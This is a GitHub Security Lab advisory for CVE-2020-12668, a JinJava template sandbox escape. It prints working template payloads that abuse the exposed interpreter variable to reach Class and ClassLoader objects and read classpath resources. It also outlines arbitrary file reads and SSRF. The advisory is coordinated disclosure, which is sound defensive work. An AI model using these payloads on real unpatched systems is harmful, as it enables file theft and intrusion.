July 29, 2020

GHSL-2020-072: Arbitrary file disclosure in JinJava - CVE-2020-12668

Alvaro Muñoz


A user with privileges to write JinJava templates, for example in a CMS context, will be able to read arbitrary files from the file system.



Tested Version



Unauthorized access to Class instance

JinJava does a great job preventing access to Class instances. It will prevent any access to a Class property or invocation of any methods returning a Class instance. However, it does not prevent Array or Map accesses returning a Class instance. Therefore, it should be possible to get an instance of Class if we find a method returning Class[] or Map<?, Class>.

Interpreter access

JinJava has another vulnerability, it exposes the internal JinJava interpreter through the secret ____int3rpr3t3r____ variable. Having access to the interpreter, we can do a variety of things. For example, we can list all variables in the template context which may give us access to undocumented objects.

{% for key in ____int3rpr3t3r____.getContext().entrySet().toArray() %}
    {{key.getKey()}} - {{key.getValue()}}
{% endfor %}

It also give access to all filters, functions and tags:

{% for key in ____int3rpr3t3r____.getContext(). getAllFunctions().toArray() %}
    {{key }}
{% endfor %}

{% for key in ____int3rpr3t3r____.getContext().getAllTags().toArray() %}
    {{key }}
{% endfor %}

{% for key in ____int3rpr3t3r____.getContext().getAllFilters().toArray() %}
    {{key.getName() }}
{% endfor %}

Functions are particularly interesting since they give us access to java.lang.reflect.Method instances. From a Method we can get arrays of their exception and parameter types:

{% for key in ____int3rpr3t3r____.getContext().getAllFunctions().toArray() %}
    {{{key}} - {{key.getName()}} - {% for exc in key.getMethod().getExceptionTypes() %}{{exc}},{% endfor %} - {% for param in key.getMethod().getParameterTypes() %}{{param}},{% endfor %}
{% endfor %}

With that we can finally access Class instances. E.g:

{% set class = ____int3rpr3t3r____.getContext().getAllFunctions().toArray()[0].getMethod().getParameterTypes()[0] %}
{{ class }}

ClassLoader access

Once we have access to a Class instance we can also get access to a ClassLoader instance through the protectionDomain since direct access from Class.getClassLoader() is forbidden.

{% set classLoader = class.getProtectionDomain().getClassLoader() %}
{{ classLoader }}<br/>

Arbitrary Classpath Resource Disclosure

Using the Class or ClassLoader instances we can get access to Classpath resources with:

{% set class = ____int3rpr3t3r____.getContext().getAllFunctions().toArray()[0].getMethod().getParameterTypes()[0] %}
{% set is = class.getResourceAsStream("/Foo.class") %}
{% for I in range(999) %} {% set byte = is.read() %} {{ byte }}, {% endfor %}

Arbitrary File Disclosure

We can finally get access to arbitrary File System files by retrieving Classpath resource as an URL, and then converting it to an URI since this class contains an static create() method that will allow us to create arbitrary URIs. Once that we have an URI pointing to the resource we want to access, we can open a connection and read its content from an input stream.

Server-Side Request Forgery

We can use a different protocol such as http, https or ftp to establish a network connection and initiate a Server-Side request forgery attack.


This issue may lead to Arbitrary File Disclosure.



Coordinated Disclosure Timeline

This report was subject to the GHSL coordinated disclosure policy.

  • 04/15/2020: Report sent to vendor
  • 05/04/2020: Issue is fixed in version 2.5.4


This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).


You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-072 in any communication regarding this issue.